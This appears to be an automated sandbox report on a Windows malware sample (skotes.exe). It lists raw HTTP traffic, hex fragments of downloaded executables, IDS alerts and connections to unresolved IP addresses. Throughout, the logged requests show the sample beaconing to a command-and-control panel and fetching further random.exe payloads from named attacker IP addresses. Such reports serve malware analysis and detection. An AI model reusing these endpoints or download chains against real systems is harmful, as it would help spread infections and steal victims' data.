20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 71 6b 66 6f 65 6d 76 00 60 2a 00 00 a0 00 00 00 5e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 74 69 66 6a 64 6d 68 00 20 00 00 00 00 2b 00 00 04 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 19:23:58 GMTContent-Type: application/octet-streamContent-Length: 2801152Last-Modified: Sat, 23 Nov 2024 18:36:55 GMTConnection: keep-aliveETag: "674220c7-2abe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 63 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 71 6b 66 6f 65 6d 76 00 60 2a 00 00 a0 00 00 00 5e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 74 69 66 6a 64 6d 68 00 20 00 00 00 00 2b 00 00 04 00 00 00 98 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 19:24:11 GMTContent-Type: application/octet-streamContent-Length: 4384256Last-Modified: Sat, 23 Nov 2024 17:21:55 GMTConnection: keep-aliveETag: "67420f33-42e600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 e5 15 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 23 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 22 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 6e 76 70 74 79 67 00 40 1b 00 00 f0 a8 00 00 34 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 67 78 6b 61 64 77 73 00 10 00 00 00 30 c4 00 00 04 00 00 00 c0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c4 00 00 22 00 00 00 c4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008506001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008507001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 46 43 32 41 41 45 32 41 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="hwid"05FC2AAE2A294266498721------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="build"mars------DAAECAFHDBGIDGCAEHJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008508001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008509001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 46 43 32 41 41 45 32 41 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="hwid"05FC2AAE2A294266498721------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build"mars------IDHDGDHJEGHIDGDHCGCB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49783 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49784 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49790 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49800 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49808 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49807 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49816 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49817 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49824 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49825 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49827 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49852 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49864 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49859 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49870 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49839 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49881 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49893 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49905 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49910 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49963 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49969 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

